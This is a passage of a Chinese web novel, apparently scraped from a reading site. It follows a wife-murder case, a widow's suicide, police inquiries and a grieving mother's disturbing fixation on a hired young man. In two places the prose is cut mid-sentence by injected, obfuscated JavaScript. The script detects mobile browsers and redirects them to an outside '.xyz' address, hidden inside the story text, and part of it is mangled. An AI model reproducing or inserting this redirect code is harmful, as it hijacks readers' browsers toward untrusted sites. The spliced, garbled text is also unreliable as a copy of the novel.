真是矛盾啊。她让你守护哥哥“李重”的名字,又让你守护“李晶”的身体。 所以你到底是谁? - 你的手指破开剪秋萝。 无畏四遭虫鸣,无畏星月窥视…… 此处便再不珍贵了吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774308|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 若占有了第一次便要占有一辈子,那此刻你终于占有了自己。 你将永远成为自己的。 - 门口突然一声震动。 你不惊不慌,只是瞥了一眼,便收回了手。手上有艳红花汁。 宋景富目瞪口呆地看着天井下的你。 不知道闭眼,也不知道回避,双脚被死死粘在地上。 你笑了笑,勾勾手,喊了句,“过来呀。” 他看到了什么? 他看到了聊斋志异里的花妖,在荒芜的园子里化作缠绵的白皙女子,双足翩动,点点红润,眉眼处全是勾人的风情。 他无力拒绝,只得像傀儡,在你的手指勾动中爬过去,伏低做小,将自己的身躯供上。 一旦碰上便是烈火灼烧,红的,蓝的,白的,不管什么颜色的花被瞬间烤得飞灰湮灭。 需要水,更多的水,浇在在肌肤交织处,撒在器口混杂处。 混沌的恶果包裹了整座房子。 房子在欲念中漂浮起来,天井是它唯一的出口,可此刻也被塞得满满的,只能眼睁睁地看着里面涌动的浪潮,将你和他卷来卷去,直至昏迷。 - 李重啊。 你生来混沌,活着时也一片混沌,死后继续绵延着混沌。 你不知道你需要什么,亦或是今天需要,明天又不需要,后天又需要……没有定数,没有规则,没有目标,像行走在没有边际的荒野,唯一顺从的是本能。 即便如此,这样的本能也游走于可靠与不可靠之间。 亦或许,所谓可靠也是无法定义的悖论。 你年纪轻轻便陷入了虚无主义。 所以当宋景富抱着你说要为你负责时,你笑得乐不可支。 你尚且负责不了自己,他又如何负责? 他再次觉得自己又被你小瞧了,被你推开了,被你糊弄了。 “李重,你到底……到底想要什么?” 你叼了一朵蓝色蜂室花,口齿不清地说:“我他妈想要世界和平。” 46. 第46章 这个世界每时每刻有人死亡。 或死于疾病,死于意外,或者死于伤心……痛苦层出不穷,厄运缠绵不断。 希望世界和平反而成为最空洞也最实在的口号。 - 辛小莱吃完外卖后,纵身一跃结束自己的生命,自然不足为奇。 她连嫁四人,连寡四次,且丈夫总被厄运缠绕。她以最悲惨的方式直面命运的不公……既然命运不公,那便不再抵抗,她自觉自愿匍匐于命运的脚下,任它践踏欺辱。 这总行吧! 宗桃没想到自己这位出现得莫名其妙的后妈,又死得如此爽快,她准备好的诉状,准备好的大律师,一下子全没了意义。 房子自然还是她的,可谁能告诉她,这个女人到底有没有欺骗父亲的感情? 陈秋池调取了监控,辛小莱从公安局回去后便未再出门。大概半夜十一点左右,有个光头外卖小哥敲门,两人简单交流后,门关人走……半小时后,辛小莱打开门,毫无迟疑地翻越栏杆,一跃而下。 然而找到外卖员后,发现他竟然长了一头茂密头发,身形也比监控里的那人壮些高些。 这人说他走到楼下,恰好碰到一个同行,主动说可以帮他拎上去,因为都是同楼层的,所以他立马同意了。 “那人可不是男的,是个女的。” “看起来挺虚弱的,没头发,也不知道是不是做了化疗……” “真难啊,得着病还要跑外卖。” - 此人叫□□,被警察找上门的时候正在医院化疗。高高挂起的袋子里流淌着血一样的艳红液体,病友们戏称它为红药水。打要红药水还要打白药水,一次化疗持续好几天。 她听完陈秋池的询问后,连连苦笑两声,叹气道:“真是不公平啊,想活的人活不了,想死的人随随便便就放弃了!” “你和辛小莱说了什么话?” □□警惕地看着陈秋池,“怎么?你们怀疑我把她鼓动自杀了?” 说到这里她冷笑两声,“我要是有这个本事,我先把自己鼓动死了算了,省得受这么大的罪!” - 陈秋池走出市肿瘤医院,门口一株艳丽的红紫薇正开得热闹。 她停下脚步,“王安娜那边什么情况?” 苏鹤说王安娜一直未出门,吃喝全靠外卖,也不和任何人联系,连丈夫头七都没出门。 “那么情深义重的人竟然不去祭奠?”陈秋池皱眉,“你确定她还住在那吗?” - 在苏鹤准备撞门而入时,门终于从里面打开了。 一个眉清目秀的年轻男人裹着浴巾出现在陈秋池面前。 “有事吗?”这人一边揉搓着头发一边问。 苏鹤以为自己走错了门,退回来看了眼门牌号,确定无误后急声质问,“王安娜呢?” “谁?王什么娜?” “你跟她是什么关系?”苏鹤越想越懵,难道这个女人这么快又寻了新欢……不,或者寻了新的诈骗目标? “我们找王安娜!”陈秋池递过去一张照片。 那人定神看了看,“不认识。” 陈秋池看向苏鹤。合着这几天的监视连人住哪里都搞错了吗? 苏鹤又羞又急,“不是,我亲眼看见她拉着行李箱走进去的。” “警察同志,我这澡洗了一半,您看……”年轻男人有些不悦。 陈秋池说了声抱歉,转身往下走,走着走着她突然停住了。 苏鹤还沉浸在跟丢人的窘迫和愤怒中,“组长,你再给我个机会,我一定搞清楚到底咋回事。我明明看着王安娜新租了这个地方……” “苏鹤,你有没有觉得这个人看起来很面熟?” - 王叶柄跟在王庆芬后面,越来越觉得和西游记里的妖怪共情了。 那些妖怪看着肥美白净的唐僧肉,因忌惮孙悟空,只能在一旁边窥视,边流口水。 而他看着王庆芬这个行走的流量包,心痒得要命也吃不到。 这简直是暴殄天物,欺辱流量! 此刻这位老太太一脸悠闲地领着他逛商场。 逛商场??这是一个刚失去女儿的母亲该做的事吗? 她像是被新安市的繁华迷了眼,走走停停,左看右看,瞅见男装就拉着他进,还特别大方地说要给他买两件漂亮衣服。 “嗯。你身高可以,也挺健壮。”王庆芬眯着眼睛,捏了捏王叶柄的胳膊。 王叶柄浑身鸡皮疙瘩骤起,赶紧抽回胳膊,“那啥,王姨,我有衣服穿……再说这些也不是我喜欢的类型啊。” 这些衣服不是格子衫就是白衬衣,一看就是那种端坐办公室的技术男穿的,而他一生不羁放纵爱自由,顶着一头黄毛穿这些,简直像孙猴子戴了紧箍咒。 王庆芬压根不在乎他说什么,兀自让店员包起两套她喜欢的衣服。 之后又领着他在一家理发店门口停了下来。 王叶柄警铃大响,赶紧捂住自己的一头黄毛。 王庆芬坚定地把他的手拉下来,“染黑!” 王叶柄露出不情愿的表情,这老太太怎么劲儿都使在他身上,按理说这时候不该去找律师谈谈怎么把她女婿保释出来? “你不是想当我儿子吗?”王庆芬眯着眼问。 王叶柄立马露出讨好表情,“我是觉得跟您有缘分……” 王庆芬呵呵笑起来,“我儿子不可能是黄毛!” - “杀妻案”的第六天,文汇花园门口的直播人数略有下降,但鉴于最近没什么和这件事相媲美的热点,大家依旧乐此不疲地试图用民众的力量“猜测式判案”。 很多人慕名跑去受害者李重母亲的羊肉粉店打卡……这也要打卡的心理着实难以理解,尤其前两天李重母亲大清早跑去把牌匾给摘了,也算是给这锅热油又加了点水,滋出噼里啪啦的响声。 店老板马胜才算是把握了流量密码,在镜头前一把鼻涕一把眼泪地控诉王庆芬霸道无理,明明已经把店转让给他,却带着个黄毛小子抢走了牌匾。 本来王庆芬作为受害者李重的母亲,躲在何家巷的家里死活不出来,却又神出鬼没出现在遵龙镇抢匾额……她在大众的眼里本身应该是可怜的,可悲的,卑弱的,结果她的这番操作立马削弱了她应该在这件事上的印象,于是那些本来就对李重持审视怀疑态度的人,压根不管事实真相如何,立马闻风撕咬开来。 很多人都想找到王庆芬,而她此刻早已跑到了新安市,住在了事发地文汇花园对面的酒店。 枯瘦的手指把窗帘掀开一条缝,王庆芬盯着外面不远处那些如鬣狗般的主播们。要不是王叶柄这小子机灵,把她神不知鬼不觉的塞进这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787288|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒店,她连看一眼文汇花园都不行。 “还以为你过得多幸福呢!”她冷笑低语,“这么破的地方有什么好留恋的!” 一转身,她笑咪咪地盯着坐在沙发上玩手机的王叶柄,“晚上早点睡,不要熬夜。” 王叶柄哦哦两声,转身进了自己的房间。他知道王庆芬有病,有大病。让他改头换面不说,还非要和他住一个套间。 理由是她害怕。 她会害怕?谁信啊! 她敢一个人在太平间呆那么久,和死人说那么久的话,有几人能做到? 反而是他,和这老太太相处几天后有了些怵意,然而钱太香了,钱可以压制一切害怕,可以消解一切不适……他可以忍。 - 回到房间,王叶柄走到镜子前。镜子里的自己像变了个人,一看就很靠谱老实的黑短发,清爽的衬衣配着黑色裤子,他忍不住冷笑一声,朝镜子狠狠呸了一声,“人模狗样!” 而后气定神闲地坐下来,脖子往前抻着,一只手撑着左眼眼皮,另一只手熟练地把里面的美瞳摘了下来。 两颗眼珠转动,熟悉的酸痛感瞬时在眼眶里泛滥。 他看向镜子。 镜子里的那个年轻人,拥有一对明亮的眼瞳。 其中一颗黑如乌墨,另一颗蓝如宝石。 - 入夜。 王叶柄猛然惊醒,一只枯干冰凉的手覆在他的脸上,透过指缝他看见了王庆芬的脸。 这是一张什么的脸? 皱纹多得像龟裂的地缝一道道蔓延至鬓角,地缝里不知道填埋了多少失望和痛苦,此刻却被她柔和深情的眼波隐藏起来……她微微笑着,松弛又自得,全身笼罩着光泽,好似她抚摸的是多么珍贵的宝贝,多么难得的珍藏,任谁现在叫醒她,都会被称作“罪大恶极的扫兴者”。 王叶柄像被什么邪祟附身般,任由王庆芬的手从他的眉眼抚摸至鼻梁,从鼻梁抚摸至嘴唇,待这只手往脖颈探去时,他一个机灵清醒过来,一巴掌打开她,吼道:“你在干嘛?” 王庆芬眼里柔和的光迅速消失,冷冷站起来,一巴掌回打在他的脸上,“你不是我儿子!” 王叶柄莫名其妙。半夜被老太太骚扰,还白白挨了打?! 这巴掌也把他打清醒了。这老太太可是行走的流量啊,他都忍到现在了,难道要放弃吗? 王庆芬满脸怒色,原本僵硬的身体像被装上了马达,整个人处于暴走状态。 “你为什么要醒过来!” “她从来都不会醒!” “她会让我从上摸到下,从下摸到上,她会乖乖做我的儿子,我最听话的儿子……” 王叶柄越听越糊涂,什么乱七八糟,这老太太只有一个独生女儿,哪里有什么儿子? 难道她这是犯了癔症,或者梦游? 王叶柄被她冷峻的目光盯得浑身不舒服,他忍着恶心,伸出一根手指头,“王姨,这是几?” 王庆芬看也不看,吼着叫着,“我要我儿子!我要我儿子!” 王叶柄彻底没辙了,又不能这时候把她送医院,万一被同行看到,到时候到嘴的肥肉就会被分割,被叼走……妈的!算了,不就是躺这里让她摸吗? 她一个老太太还能把他怎么样?! 他认命地扑通一声躺下,“摸吧。您想咋摸就咋摸!”